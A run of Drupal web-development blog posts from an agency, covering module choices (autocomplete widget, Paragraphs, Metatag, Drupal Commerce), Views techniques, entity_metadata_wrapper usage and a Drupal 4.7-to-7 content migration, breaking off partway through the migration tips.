Jul 11 2019
Jul 11

Existing Values Autocomplete WidgetProviding the content creator a field with a list of values to choose from is a common requirement when building a Drupal site. It’s also something that can be achieved in a variety of ways, each having pros and cons to the approach. Texas Creative’s web team has developed a module that we believe fills a missing gap in this type of field called Existing Values Autocomplete Widget.

In the following analysis, we will discuss each possible approach, the use case for it, along with an example. The final approach includes using our new module. 

1. Taxonomy Term Field

The approach with the most flexibility and functionality, but also the most overhead and potentially unwanted “features”, is to create a new Taxonomy Vocabulary and use a Taxonomy Term Field to allow the content creator to choose from the list. The user can create/manage terms easily. However, each term will have its own “page” that displays every node that uses that term. If you don’t want that, it can be dealt with using the rabbit hole module among others, but it will have to be dealt with on some level. There is also some overhead added to the system in terms of additional code and additional database calls/joins for this extra layer of functionality.

Criteria:  If your use-case can leverage the “relationship” of the taxonomy term and the display pages that are created, then this is the best choice.

Example: Company Departments: They may change in the future and you may have an interest in associating many content types to the departments in order to aggregate them on a single landing page for that department.

2. Text Field (List) with Allowed Values

A simpler approach, with some serious limitations, is to provide a simple text field (list) and populate the ‘allowed values’ with all possible values needed. The advantage here is the simplicity of setup, assuming you have a small well-defined list. In most cases, the content creator will not be given permission to add/change allowed values, so the developer will need to facilitate any future changes to this field. Additionally, it becomes difficult to “remove” options since there are values assigned to them already so Drupal will not allow those deletions. 

Criteria: If the list of values is small and unlikely to be changed, and you are not interested in the “relationship” aspect of taxonomies, then this is a good option.

Example: Outcome Status like (Sold, Returned, In Inventory, Backorder): This is a small, rarely changing list so the additional hassle of managing the list is not a concern and we would not be interested in the “relationship” to this value. You would only be likely to display this status or have it as a filter option on a list of nodes both of which are possible with the text field.

3. Text Field with Existing Values Autocomplete Widget

At Texas Creative, we often find ourselves in the middle of these two approaches. We want a simple field without all of the taxonomy overhead and complexity, but the list of values is not known or finite, so the client needs to be able to add new ones easily. The Existing Values Autocomplete Widget was born to fill this gap by providing a way to pull any value previously entered in the text field as an option on the fly. This module creates a new field widget for text fields with autocomplete suggestions using previously entered values.

Drupal 8 Render API allows for an autocomplete callback to be registered on a render array’s element. Then the Render API handles all the AJAX. The module provides a controller, as the autocomplete callback, responsible for returning the autocomplete suggestions to the field widget.

Criteria: If the values are unknown or unlimited, and you’d like to reduce most of the duplication of similar values, then this approach finds a happy medium.

Example: Park Amenities: The values of this field could vary widely across the parks but it would be helpful to use the same wording for similar amenities such as Playground, Paddling Trails, Disc Golf, etc.

Instructions for Using the Existing Values Autocomplete Widget

  1. Install & enable module per usual process.
  2. Visit any content type ‘Manage Form Display’ page.
  3. Change “Textfield” widget to “Autocomplete: existing values”.
  4. Configure how many suggestions to show in the widget configuration. (default: 15)
  5. Enter values in the field and they will become suggestions next time.

Advice that is often given in the Drupal community is that you should get involved by “scratching your own itch”, meaning solve the problems and use cases that bother you.  An important part of that is to then share your solutions. It is inevitable that someone else has the same “itch” and may not even realize it until they see your solution. The Existing Values Autocomplete Widget is the most recent example of this for the Texas Creative web team.  We like solving problems from the simple to the complex. We also like knowing when our solutions helped someone else. Please comment below if you find this post or module useful, and join us in the issue queue with any bugs or feature requests. You can also see our team’s Drupal contributions on our organization page.

For more Drupal knowledge from the Texas Creative web team check out our other blog posts on web development topics.

Nov 09 2017
Nov 09

Recently we needed to build a knowledge base for a SaaS client to house support content in both text and video format. Since a lot of this type of content has a progression to it (first do this, then this) it made sense to dust off the Book Module.

The Book Module

The Book module has been in Drupal core since 2001, so it’s pretty much always been there. It provides a hierarchy to pages in Drupal that allow a next/previous functionality that is useful when you have content with an order to it. Additionally, the Book module comes with a table of contents block that outlines the hierarchy of the book for easy navigation.

The core table of contents block is fine for a basic outline, but in our case, we had some customization to this table of contents that necessitated a custom solution. We wanted to show a video icon next to any page that had a video on it. We also wanted to remove the topmost page of the book from the hierarchy. Lastly, we wanted to retain the functionality to display which page the user is on using an “active” class. After searching for a module that provided the customization we needed and coming up short, we realized that we could get Views to help us build this block without any custom code needed.

Custom Table of Contents Block

The Views Tree module provided the basic hierarchical structure. It only has a dev version for Drupal 8, but we haven’t run into any issues so far with it. The module displays the view results in a hierarchy once you set up hidden fields in the view for the node id of the page and it’s parent (setup documentation).

Video Icon

The video icon will be added via a css class. To accomplish this we added the video field we had defined on our content type to the view as a hidden field. Then we chose to rewrite the results of the field and just output the text ‘video’ when there was a value present in the field.  Next, under the “No Results Behavior” section of the view we check the boxes for “Hide if empty” and “Hide rewriting if empty”. Lastly, we added the token for the video field to one of the elements under “Style Settings” on the Title field (which is the only field we are allowing views to display). In our case, we made the wrapper HTML element a span and added the class for the video field there.

Hide Topmost Book Page

Add a contextual filter to the view for book depth and set it to “not equal to” 1. The topmost page in a book has a depth of 1 so this will not display that page on any book. Originally, we were just excluding the node id for the top page since we only have one book, but decided to change the filter to book depth so that it will work for any book on the site.

Add ‘Active’ Class

This is similar to the video class, but requires a little snippet of a twig conditional statement and a contextual filter to make it work. First add a contextual filter to your view called “Global: Null”.  The Global: Null filter allows you to get some information from the URL without actually impacting the query that Views is making. In this case “Provide default value” on the contextual filter should equal “Content ID from URL”

Next add an additional hidden (Exclude from display) Content: ID field to the view. Under the “Rewrite Results” section, check “Override the output of this field with custom text”. In the text box add a twig conditional that compares this nid value to the Global:Null (arguments.null) you just setup and returns a string for the ‘active’ class if they match. Here is what ours looks like:

{{ (nid == arguments.null) ? 'active' : '' }}

It’s important to make sure you are comparing the right nids because you should have 3 nid fields on this view right now: 1 for the page’s nid, 1 for the parents nid, and this one we are working on now. The first two were created during the Views Tree module setup instructions.
Now add the token for this hidden nid field to the same place we added the video class (see screenshot in Video Icon section above).

Conclusion

This View accomplished our needs for the table of contents, and can easily be added to if we ever need a New or Updated flag. The flexibility gained is worth the effort and we didn’t have to edit TWIG templates, write custom preprocess hook, or write a custom module.

TLDR; See the View’s yaml file and screenshot below. You will need to replace the field names and content types with your own.

Read our other Drupal-related blog posts.

Jun 15 2017
Jun 15

We, the website development team at Texas Creative, are big fans of the Paragraphs Module. For the last couple of years, it has become a larger and larger part of our Drupal 7 and Drupal 8 websites. In this post, I will give three tips we’ve discovered that make Paragraphs even easier for the end-user to use, in our case clients.

What is the Paragraphs Module?

To quote the Paragraph module description page: “Instead of putting all their content in one WYSIWYG body field including images and videos, end-users can now choose on-the-fly between predefined Paragraph Types independent from one another.”
In short, it helps Drupal do structured, repeatable content even better than before. The end-user doesn’t need any technical HTML skills. The web designer can design specific sections/layouts of content and give tremendous flexibility to the end-user to edit, create, or reorder without compromising the design integrity. If you aren’t using this module in your Drupal 8 builds, you are really missing out.

Tip 1: Add Publishing options to an Individual Paragraph

Who knew you could add the “Published” checkbox to each paragraph in the Manage Form Display for the Paragraph Type by just dragging the “published” field out of the Disabled section and then setting its widget to ‘Single On/Off Checkbox’? After this is set up, the paragraph is only displayed when the box is checked. This is useful for content like slides on a rotator block which may need to be taken out of rotation for a time and then reinstated. This feature has been in Paragraphs for a long time but isn’t completely obvious.

 

Tip 2:  Rename Your Paragraphs Field Titles

Most of our clients aren’t familiar with Drupalisms, so the term “Paragraphs” can be a bit confusing on a content edit form. It doesn’t explain what exactly is being added. The Paragraphs module maintainers luckily anticipated this and provided a way to customize the user-facing language.

On the parent entity’s Manage Form Display tab, where you setup your Paragraphs reference field, you can customize the singular and plural for the Title of the field. This changes the interface wherever the word “Paragraphs” would normally appear and is customizable on each Paragraph field.  

We often add Paragraph types that are interchangeable, full-width areas below the main page content. The word “Panel” just fits what they are so we change the title to “Panel”. To an experienced Drupal developer “Panels” is a very different thing, but to our clients “Panels” are those flexible, repeatable, full-width areas they can add to the bottoms of their pages. It makes much more sense to them than “Paragraphs”.

 

Tip 3: Add Contextual Links to Paragraphs

As more Paragraphs are added to a piece of content, it quickly becomes difficult to edit due to the size and complexity. A simple solution to this is to install the Paragraphs Edit module on your site. This module adds contextual links to individual paragraphs to edit, delete and clone. Now the end-user can hover the paragraph on the frontend of the site and see options to edit a single paragraph without needing to edit the entire page worth of paragraphs. Note: The 2.x-dev version has more compatibility with complex paragraphs and advanced features, but requires Drupal 8.3 or higher.

 

Importance of User Experience with Paragraphs

For us and our clients, any criticisms of Drupal’s out-of-the-box experience become irrelevant since we don’t leave it that way. The work has to be put into the client experience just like it is the site visitor experience. The accumulation of these kinds of small wins in user experience add up to a happy client. So, customize your customers’ Paragraphs experience.

Recent Projects:

San Antonio Bioscience Research

Take Care of Texas

May 20 2016
May 20

It’s Official!  We have finished setting up the necessary infrastructure and processes for building client sites in Drupal 8 moving forward.  A lot of that work was done during our first Drupal 8 website build, which is nearing completion.  What follows is a brief glance of my first impressions and future aspirations about Drupal 8 development.

The Project

As website builds worked their way through the pipeline in the first part of 2016, I was on the lookout for the right one to be our first D8 site.  The project I chose is a portal for this company’s contractors to log their daily activity out in the field.  The portal also generates various reports from the activity for our client to use.  This project is unique in a couple of different ways that makes it the clear choice for our first foray into Drupal 8:

  1. Since it is a portal, it required very minimal design and the site functionality could reasonably be built BEFORE the design.
  2. One of the client stakeholders has a personal connection to a Drupal developer, which made them open to using D8 even if 100% of their desired features aren’t currently available.  They were the ones who initially brought up the subject of using Drupal 8. (Most of our clients do not come to us looking for Drupal, they are just looking for a website.  So the decision about CMS technology is usually an internal one.)

I should also say here that I cannot provide links or show any screenshots since the site is a login-only portal.

First Impressions

Drupal 8 is a thing of beauty!  Granted it takes some time to wrap your mind around some parts.  And there are a lot of, “this isn’t the way Drupal 7 does it,” thoughts that go through your head.  But once those “first date” jitters are out of the way…WOW!

What is the right way to install D8?

Composer - Dependency Manager for PHPThis is the first difference with Drupal 8 that jumps right out.  And the answer is not really clear.  After a lot of soul-searching (aka research: The definitive introduction to D8 and Composer, Composer Manager for Drupal 8, Goodbye Drush Make, Hello Composer) I determined that the approach that best fit our DevOps process and automation tools is the “sugar-free composer” route mentioned in Bojan’s article.  Even though Composer is a bit slow in installing new things, the flexibility to automate nearly all of the site setup, build, maintenance and deployment will pay huge dividends for us.

TIP: If you are building one site in D8 which doesn’t need DevOps automation, don’t bother with Composer, just download the zip or tarball and move on down the road.  You can always plug Composer back in later if needed.

Where is _______, that I use in Drupal 7?

The other main first impression I had is that there are a number of small, but sometimes critical, pieces missing in D8.  The gaps are being filled in rapid fashion, but some still exist.  For example, the Date field is missing an end Date and repeating dates at the time of this writing.  There are also some “critical” contributed modules that are still in alpha.  We are forced to use them and hope that nothing breaks whenever they go to beta or full release.  [Insert standard appeal to jump in the issue queues and help out.]  I found a number of patches to Drupal core issues which fix various bugs so some of this just needs testing and/or prodding of maintainers to commit them.  In nearly all cases I was able to work around, patch or do without these things.  But it was certainly helpful to have a client who was so understanding of the hurdles.  And none of these things would prevent me from starting a new project with D8 right now.

Installing patches when using either of the composer-based installation methods is super simple and easy to maintain.

Future Aspirations

With so many new parts to Drupal 8, we’ve only scratched the surface of what’s possible.  And with the new six-month release cycle, we can now expect improvements to come more regularly.  The future is bright!  

At Texas Creative, we love automation and Drupal 8 will become a snowball of automation that will build upon itself long into the future.  The advantage of this to our clients is that our time can be spent on planning, content strategy, and achieving higher levels of refinement in the site.  It eliminates the need to re-assemble all of the same components we do on every site before reaching the point in the process where true customization begins.

In time, those missing pieces from D8 will be built by us or you.  But in the meantime, there are few compelling reasons why you wouldn’t want to jump into the D8 waters.  Excluding e-commerce projects, Texas Creative will build sites going forward using Drupal 8.

Mar 01 2016
Mar 01

This series will cover three Drupal 7 mistakes that I see regularly when training developers, or perusing the issue queues of Drupal modules, and I’ve personally made each of these mistakes.  Getting a handle on these concepts, and breaking these bad habits will make you a better Drupal developer.

Using [‘und’]? You’re Doing It Wrong

Whether it’s in your theme’s template.php file or the custom field formatter module you wrote, don’t use [‘und’] … ever … seriously … don’t do it. The term ‘und’ simply stands for ‘undefined’. The place [‘und’] holds in an entity object is representative of the language of the content you are traversing. You may be thinking, “but it works”. The only reason [‘und’] works is because your site is not multi-lingual, so every piece of content is set to language undefined. But the moment you move that code to a site with a language setup, it will break.

If you look at my custom modules from four to five years ago you’d think I was a complete hypocrite for taking such a hard stand, but I’ve seen the light, and it is good. I don’t believe there is a good reason to leave [‘und’] in production code. But, if you find yourself facing down an [‘und’] what can you do? There are two ways of dealing with this situation.

1. Set a $language variable

In the entity object you are working with replace [‘und’] with a $language variable. Then your code will be able to adjust to the site language. This is still not ideal since you aren’t using proper entity objects, but in some cases, such as in a theme template.php file, it can get the job done simply. Especially if you know the field will always have data, and the site will only ever have one language.

For example, when I use dpm($node); to see a node object there will be arrays for each custom field. Let’s assume there is an author field called ‘field_blog_author’. I may be tempted to access the content like this in a template file:

$author = $node->field_blog_author[‘und’][0][‘value’];

However, if you look around on the $node object you’ll notice that $node→language is likely set to ‘und’. If I use the following code instead, everything will still continue to work in the event the language on the node is changed:

$language = $node->language;
$author = $node->field_blog_author[$language][0][‘value’];

While this solution is better than using [‘und’] it can still become problematic if the targeted field has multiple values or no value at all. So this approach should be reserved for rare situations.

2. Use entity_metadata_wrapper()

To properly deal with entity objects such as nodes, fields, taxonomy terms, users, etc. you should rely on the Entity API module, which is likely already enabled on your site.

The Entity module provides a unified way to traverse any entity object allowing for languages, multiple values, raw (unescaped) content, and many other common scenarios. All you need to do is run your entity object through the entity_metadata_wrapper() function.

$node_wrapper = entity_metadata_wrapper(‘node’, $node);

The first parameter is the type of entity you are working with. The second parameter is the object to wrap. This can be the $node object as in our example or simply the node ID if that’s all we have at this point. The entity wrapper declares methods that allow us to get at the value without needing to care about what language, how many, or even if there are any values at all. We can even chain into our author field since it’s also an entity, and get it’s value without any additional processes.

To get the author in our example we would write this:

$node_wrapper = entity_metadata_wrapper(‘node’, $node);
$author = $node_wrapper->field_blog_author->value();

This is simple for another developer (or a future you) to read and it is easier to maintain when requirements change.

For a deeper dive into the entity_metadata_wrapper() I recommend the following articles:
http://www.mediacurrent.com/blog/entity-metadata-wrapper
http://www.pixelite.co.nz/article/how-use-entity-metadata-wrappers-drupal-7/

And to learn more about Drupal Commerce entity_metadata_wrapper() specifics read this guide:
https://drupalcommerce.org/developer-guide/utilizing-core-apis/working-entity-metadata-wrappers

Up Next:  The next common mistake that we will tackle involves using ‘context’ in Drupal Behaviors. Check back in a few weeks.

May 09 2012
May 09

Meta elements are an important part of any SEO and even Social Media strategy for a website. Drupal has a number of excellent modules for adding meta tags to nodes, but Views integration is lacking. To add meta tags to a view in Drupal 7 there are two meta tag modules and many hurdles to implementation.

Meta Tags Quick Module

The Meta tags quick module has the ability to assign meta values based on a path. So once you have your view set up you can navigate to the Meta tags quick module settings (admin/config/search/metatags_quick/path_based) and create a path-based meta tag for that view page.

At first glance this may seem like the simplest solution. But when we’ve used this module on a site it adds tabs to the views that say “Path-Based Metatags.” This is confusing for clients and many times breaks the clean look of the page (especially on a homepage) when there are no other tabs on the view.

The second issue we’ve found with Meta tags quick is that it is built on the Fields API. We saw this as a benefit initially, but in practice it is cumbersome. It requires setting up metatags on each and every content type when most of the time we want consistent meta attributes across all the content of the site. Plus if you ever try to remove Meta tags quick it takes some time since the fields it creates are left on the content types and have to be removed manually before the module can be uninstalled.

Lastly, in our opinion, the Meta tags quick module requires two additional modules to complete its meta features. The first is Page Title which adds the <title> tag to a page’s HTML. The second is the Open Graph meta tags module which adds opengraph style tags in the <head> of a page.

Aside: Open Graph tags, while not as well known, are critically important in the world of social media sharing. If you have a Facebook Share button on your blog post without Open Graph tags, you are leaving to chance the items that get sent to Facebook when that Share button is pressed. With Open Graph tags you can send the correct image, title, and description to Facebook.

Metatag Module

Metatag module is the successor to Nodewords in Drupal 6, and is designed to be the ultimate metatags module for Drupal 7. In its current state it already includes Page Title and Open Graph tags. The only necessary feature absent from this module is Views integration. Despite this missing piece we prefer Metatag over Meta tags quick because of its complete feature set and lack of dependence on the Fields API.

Make Every Page a Node

The workaround to the missing Views Integration in the Metatag module is to make every page on your site a node, then add any view as a block under the node.

For example, we commonly need a view to display a list of teasers for articles on a page. If you make the view a block and place it in the main content region under a node called “Articles,” you can add your meta tags to the node and not be concerned at all with the view’s meta tags.

A fringe benefit of this approach from the site builder standpoint is that breadcrumbs, menus, and pathauto all become easier to set up and work more consistently when every page is a node.

For the client, this approach makes more sense because the top textual area of all pages (including views) is now easily and consistently editable.

The caveat—and it can be big—is when a view has an exposed filter or a contextual filter that uses URL parameters to pass the values. It’s possible that this type of view won’t function correctly as a block without AJAX-ifying it, which prevents deep linking into the filters. This issue is so specific that we rarely run into it, but since it is a showstopper it needs to be mentioned. In those cases we just resort to using the Meta tags quick, Page Title, and Open Graph meta tags modules on the site.

Also worth mentioning is that there are two sandbox modules that claim to accomplish the goal of Views integration with Metatag. I haven’t had the opportunity try either and would hesitate to use them on a production site, but the fact that they exist makes me optimistic that the issue can be solved in short order.

If you have a solution of your own that works, or have an opinion about making every page a node, please chime in. We’d like to hear your thoughts and experience.

May 02 2012
May 02
3 Small Modules That Make Good Drupal Websites Great

Identifying the difference between a good website and a great website has everything to do with the care put into the details. Elements the site visitor never consciously notices combine in such a way as to affect them on a deeper level to convey stability, credibility and competency.

There are three small modules that I find make a big difference in the way a visitor/client interacts with a site. By “small” I don’t mean code size, but more about feature set. They each do one thing very well and have become an essential part of our builds.

Custom Breadcrumbs

The custom breadcrumbs module provides the flexibility to build breadcrumbs that have a specific hierarchy based on node type or any other node parameter (through php). This aligns your breadcrumbs with the node paths that you’ve established with pathauto.

The breadcrumbs that are baked into Drupal core do an adequate job, but we find that this is one of those details that is more important than it seems at first glance. The more consistently all of your menus, breadcrumbs, paths, and page titles align, the clearer it will be to a user how everything fits together.

Custom Contextual Links

Contextual Links is one of my favorite additions to Drupal 7. Those little gears that expand with links that are contextually aware provide a quick way for your site managers to know if and how they can interact with a section of the site.

But wouldn’t it be great if you could add your own items into those menus? Custom Contextual Links (CCL) module does just that.

To create a link you specify the Title (the text of the link that is displayed), the URL (path of the link) and then the context in which the link should appear. It’s this last part where the magic happens; I can choose to place my custom link on a specific node, all nodes of a content type, a block, a view display, or a group of view displays. I have yet to find a context that isn’t covered by this module.

As an example of this modules use, I commonly create a custom contextual link on the homepage rotator that links to a view so that the site manager can rearrange and edit the rotator items. The contextual area is the logical place for the site manager to look for this link.

The icing on the cake with this module is that it supports some basic actions such as:

  • Publish/unpublish content
  • Make content sticky/unsticky
  • Promote/remove content from the front page

Search Configuration

Every site we build has some content type that shouldn’t be searchable. For example, the homepage rotators. They are just promo items and don’t need to be searchable, but Drupal 7 doesn’t offer any search customization beyond nodes and users and content ranking settings.

Once you turn on the Search Configuration module it does two things:

  1. The permissions page (admin/people/permissions) now has options to toggle permissions to search each content type per role.
  2. A new fieldset called “Additional Node Search Configuration” appears on the search settings page (admin/config/search/settings).

The first item allows me to solve my problem of visitors being able to search rotator content. I can now allow administrators to search for rotator content, but only allow visitors to search the blog content types.

The second item the module adds gives us a new settings that control how the advanced search form renders and can override field labels on the search forms.

Details Modules

As the brilliant architect and furniture designer Charles Eames said, “The details are not the details. They make the design.” These three modules are details modules that many sites would leave out in favor of bigger features. But we agree with Eames. Fine tuning the client/visitor interaction with your site is never a waste of time.

Apr 25 2012
Apr 25
Drupal Commerce Logo

Last week we were evaluating solutions for a client and I had the opportunity to install and test Drupal Commerce (DC) for the first time. Digett and I both have a long history of Ubercart use, but since we made the move to Drupal 7 in the middle of last year none of our new website builds have needed a full shopping cart system.

This client is currently using a LMS combined with a CMS (Joomla) to sell and manage access to online and offline learning products. The list of products is small, but each product includes an extensive list of individual pieces of content (video, audio, surveys, and text). If we could reduce the complexity of these systems by using Drupal for everything, it would be a huge win for the client.

Getting Started

There are two paths you can take to get Drupal Commerce up and running.  

  1. The first option is to install Drupal and Drupal Commerce, along with all its dependencies (Ctools, Views, Entity API, Rules, and Address field) from scratch and configure everything to work as you prefer.  
  2. The second option is to use the Commerce Kickstart distribution.

At Digett we have a Drupal 7 base installation with all of our favorite modules already pre-configured the way we like them; for me it would have taken much longer to reproduce all of that work on Kickstart than to just install Drupal Commerce from scratch.

If you are starting without an existing site or don’t have your own distribution/base install of Drupal, I recommend sticking with Kickstart. Kickstart also gives you a chance to test Drupal Commerce with very little investment before going back and building it from scratch.

Drupal Commerce (D7) vs. Ubercart (D6)

Drupal Commerce is very tightly integrated into Drupal 7 core, Views, and Rules — so much so that it’s sometimes not clear where to go to customize certain parts of it (the answer is usually Views or Rules). This tight integration means that much of Drupal 7’s entity model is leveraged in Drupal Commerce, thereby reducing the duplicate work for the DC developers. It also means that once you overcome that feeling of wondering how to get into the store administration area and accept the fact that it’s just all Drupal administration, then DC begins to make so much sense.

In contrast, Ubercart in D6 was really a stand alone program that used Drupal's nodes and exposed itself to Views. This made the administration of your store feel separate from administering Drupal.

I think that the less experience you have with Drupal the more this will feel like the better way. And clients seem to understand that separateness very well. It will remain to be seen how our clients respond to Drupal Commerce. But worst case scenario we will have to create administrative views and dashboards to help the client with DC.

Lastly, Drupal Commerce has a different approach to Products and their variations. Instead of adding variations to a product node as in Ubercart, each variation is created as a standalone product. But those products are not directly addressable.  Instead you create a “product display” content type where you can select a list of products to be displayed.

Think of it like inventory in the stockroom (product) and a point of sale display (product display). This approach can accommodate nearly any ecommerce situation since most of the advanced logic is created in Rules without coding new modules.

My Impressions

I’m initially very positive on the way Drupal Commerce is built and functions. I think the decision to base it so deeply on Drupal’s entity structure is best in the long run. I’ve seen complaints about needing to creating a new product for each product variation, but I see how this approach provides much more flexibility.  And there are already some projects focusing on making simple product variations easier to build.

Drupal Commerce was blazing fast to configure. In less than five hours (including the time spent watching some of the tutorial videos from Commerce Guys) I had a fully functioning test site with Drupal Commerce configured to allow access to a particular node of video content when a particular product was purchased just as the client needed.

DC’s use of Rules for most of the logic, while providing an overwhelming capability for customization, could be a barrier for certain groups of Drupal users who are not used to Rules. If you’ve not used Rules much, it’s worth the effort to develop some experience there. It will help you in all of your Drupal development.

The one major downside of Drupal Commerce is lack of documentation, but Ubercart isn’t any better in that area. The video tutorials from the Commerce Guys make up for it in some areas, but for something like an ecommerce solution, documentation with screenshots will be critical to making DC accessible for the non-developer, site builder.

In all, I would wholeheartedly recommend Drupal Commerce for a new ecommerce site. I know Ubercart also has a D7 version now and it is based on Entity API, Views, and Rules too. DC and Ubercart even have similar numbers of site installs on their D7 releases, but it seems to me that the bulk of the Drupal community is focused on Drupal Commerce.

The flexibility and speed of development are refreshing in ecommerce software. With another 12 months of development, community support, and documentation DC could be a force to be reckoned with in ecommerce as an industry, not just on Drupal.

Apr 11 2012
Apr 11
Doctor Who Technobabble

As a client or potential client of Digett you probably have taken a look through our blog posts and wondered why we bother posting technical articles about Drupal. Some people think, “That’s not what a client wants to read.” or “Prospects aren’t interested in all that technobabble.”  But as a client—ours or anyone else’s—the technical materials should be important to you too. Here’s why and what you can learn from our example.

Actions Speak Louder

Too many times have I been on a website and seen Joomla, Wordpress, Drupal, and Dreamweaver all listed as the expertise of a small firm. Anyone can list off all the top content management systems (CMS) and claim to be an expert, but the more likely scenario is that they are proficient at one or maybe two and passable at the others.  

So how can you tell if someone really knows Drupal (or any other platform)? Read their technical posts and the comments. Are the posts educational and do they talk about applying technical knowledge on the topic? Do they have comments and are they from other developers? Do the comments support the notion that the author is an expert on the topic?  You don’t have to completely understand all of the technical language to get a sense of whether the author knows what he or she is doing.

Enthusiasm is Contagious

A large part of the purpose of any website is to attract traffic and build a community. Talking about things that interest you is a way to do both. The interesting thing about being interesting is that when one tries to be interesting they often fail, but when one gets excited about something others get excited too. Evangelist John Wesley, famously said, “Catch on fire with enthusiasm and people will come for miles to watch you burn.” You don’t have to be the most polished writer to talk about what interests you — just “catch on fire with enthusiasm.”

Our technical posts about Drupal have brought in a substantial increase in overall traffic to our site. And while much of that traffic is from other developers and not prospects, the traffic increase has a positive effect on our credibility with search engines.

Drupal is the Bomb

Lastly, Drupal is on an upward trend in popularity and awareness, and has been for a few years. There are some large Drupal firms with sales efforts out talking about Drupal among enterprise clients. While we didn’t choose Drupal for this reason, we are positioned to ride this wave of growth due to our established expertise in Drupal and experience with building visually appealing, clean and user friendly sites.

So Drupal is not only what we are enthusiastic about, but it is a positively trending topic in web design. We blog about Drupal so much because it brings together both of those reasons while providing evidence to prospects of our technical expertise.

Related Posts

Apr 04 2012
Apr 04
graveyard

I have come to the conclusion that the Taxonomy Module is not necessary in Drupal 7 for the vast majority of situations. While there is a lot of built-in functionality and a pre-built view for Taxonomy, the module makes too many assumptions about the way content categorization should function. And overriding the pre-built view for taxonomy terms is never as straightforward as I would like. The last few Drupal 7 sites we have built I have not used Taxonomy at all.

Fixed List Categorization

The most common scenario when taxonomy is used is for a fixed list of terms to select from when a node is created. There are two ways I would go about this without using taxonomies.

  1. If the list of terms are unlikely to change or the end-user/client doesn’t need to add terms, a simple select list field works great (for example, categorizing by state). The caveat is that the individual terms don’t need their own nodes.
  2. If the terms need to be changed regularly by the end-user/client or the terms need their own node pages, it’s better to make a new content type for the vocabulary and use a node reference field (References module) to categorize the content. For example, a real estate site has a list of counties and they want each County to have a page on the site with a view listing all of the for sale property in that county. Making a content type called County and adding a node reference field to the property content type accomplishes this goal.

Added 4/5/12 8:30 am: As @Bill Fitzgerald pointed out the References module claims that it will be deprecated in favor of Entity Reference at some point, although with 39,000+ sites using References I'm still very comfortable using it on new sites. Take a look at both before you decide.

Free-Tagging Categorization

Reproducing free-tagging categorization is simple. It’s the same idea as option #2 above, but use the Node Reference Create module (depends on References module) on your node reference field (autocomplete) so that when a user enters a tag in the node reference field that doesn’t already exist it will be automatically created in the tagging content type.

Added 4/5/12 8:30 am: Due to the References module's claim that it will be deprecated in favor of Entity Reference at some point, the Entityconnect module will accomplish something similar to Node Reference Create, if you are using Entity Reference instead.

Hierarchy

Reproducing the Taxonomy module hierarchy functionality is by far the most difficult part of abandoning the Taxonomy module, but it is not impossible. A node reference field called “Parent” linking to nodes of the same type is the start of the solution. Then depending on your specific needs, that field can be used in views to create a hierarchy of terms.

This part can be complex, but in most cases, at least for me, it is worth it to be able to get away from the Taxonomy module.

Views

Fully customized views is the reason to go the sans-Taxonomy route. The Taxonomy module forces you to have a view for each vocabulary and term, but sometimes you just don’t want or need that. Trying to override those views is a real pain, especially for a new Drupaler. I find it’s much easier to build my own views.

If you intend to attach a view block to the term pages, you need to learn to use the “contextual filters” on the view. Add a contextual filter of the node reference field you set up earlier. Use the option to “Provide default value” and set it to the type “Content ID from URL”. Your view will only display nodes that were tagged with the term for the page you are on.

Of course you can do much more advanced views, but this one will reproduce the basic functionality of the Taxonomy module.

The Prosecution Rests

An argument I’ve heard in support of the Taxonomy module that carries weight is that it’s already there out of the box. This may be a good enough reason for a new Drupal site builder to use the Taxonomy module, but a site builder with a little bit of views experience can do anything that the Taxonomy module does and better, without too much effort.

If you decide to abandon using the Taxonomy module and find yourself repeating this work on multiple sites, build a feature to setup a custom vocabulary and install it on subsequent sites.

If you agree, disagree or just want to weigh in on this discussion, leave your thoughts in the comments below.

Added 4/5/12 8:30 am: Thanks to everyone for being cordial in the comments.  It is a testament to the strength of the Drupal community that we can openly discuss a topic without resorting to personal attacks. Thanks again!

Mar 28 2012
Mar 28
Example of editablefields module at work

It is a common requirement on a marketing website to have a “Featured Content” block on the homepage that displays some random node from a subset of content that has been flagged as featured. There are a number of modules that try to address this type of functionality, but I’m always a fan of using fewer modules — or at least using modules that can be used in many places.

Real World Example

I recently built this kind of functionality on a real estate website. The client wanted a block that displayed a single random property, but not from all of the properties, just the ones that he flagged as featured. I accomplished this easily by adding a checkbox field to the property content type that says “Feature this property on the homepage.”

Building the Featured Content Block

The view that displays the featured content block is simple.
Filter criteria:

  • node is published,
  • content type = property, and
  • featured = Feature this property on the homepage

Sort criteria:

  • global: random

Then add the fields you want to display and you are done.

Managing the Featured Content Block

There is one aspect where I feel that building the Featured Content Block this way breaks down. When the client is managing which properties are featured or not they need to go into each property to check or uncheck the featured field.

The first step to solving this hiccup is to create a second view that displays a table of all the properties on the site and their featured/not featured status. This gives you a bird’s eye view of the featured content but still doesn’t make it easy to change the featured content.

The next step is to install the editablefields modules and make the featured field on the view “editable.” This module makes the featured field show up as a checkbox when the view is displayed. Now the client can check and uncheck all of the properties where they want to change the featured status and save the page.

As with most tasks in Drupal there are many ways to accomplish the same goal. This solution to the featured content problem works well for me because it uses many of the same techniques used elsewhere in the site with the exception of the editablefields module. However, this module can have alternate uses on the site and it is lightweight.

Related Content

Mar 14 2012
Mar 14
Migrating content from Drupal 4.7 to Drupal 7

Yesterday my job was to migrate content from an old Drupal 4.7 site into a fresh new installation of Drupal 7. In this post I will outline the basic process for completing that task. This will not be an exhaustive walk-through, but I hope it helps someone else and serves as a reminder a few months from now when I may need to do this again for another client.

Step 1: Setup Content Types

The first thing to do is make sure that the content types that exist on the Drupal 4.7 site are created on the new Drupal 7 site. This doesn’t have to be a one to one relationship but it helps. I did consolidate a few fields and even made some of the taxonomies into content types.

Basically, you want to have a place for every piece of data from the D4.7 on the D7 site.

Step 2: Export Data

The Import / Export API module seems to be the best option for getting content out of D4.7. Because Drupal 4.7 is so old and not supported you have to go looking for the 4.7.x-1.0 version of the module under all releases, but it’s there. Download, install, and enable both parts (api and ui). This module gives you a big list of content to export and when it exports to .csv it outputs the export in little iframe windows that you need to copy and paste into files.

My recommendation is that you paste the export results into an Excel workbook with each part of the export in its own worksheet. You should also structure your exports into logical content type-based exports. For instance, if your content type has a taxonomy/category assigned you’ll need to export the “categories” also.

Step 3: Build Master .csv file

Once all of the data you need for one particular content type is in the various worksheets in excel, you will need to combine them into one master worksheet that you can save as a .csv file.

This process is somewhat tedious and can be done a number of ways so I’m not going into detail, but here are some tips:

  • Use the Excel VLOOKUP and LOOKUP functions to pull the data from one sheet up into the master sheet using the nid as the lookup value that needs to be matched.
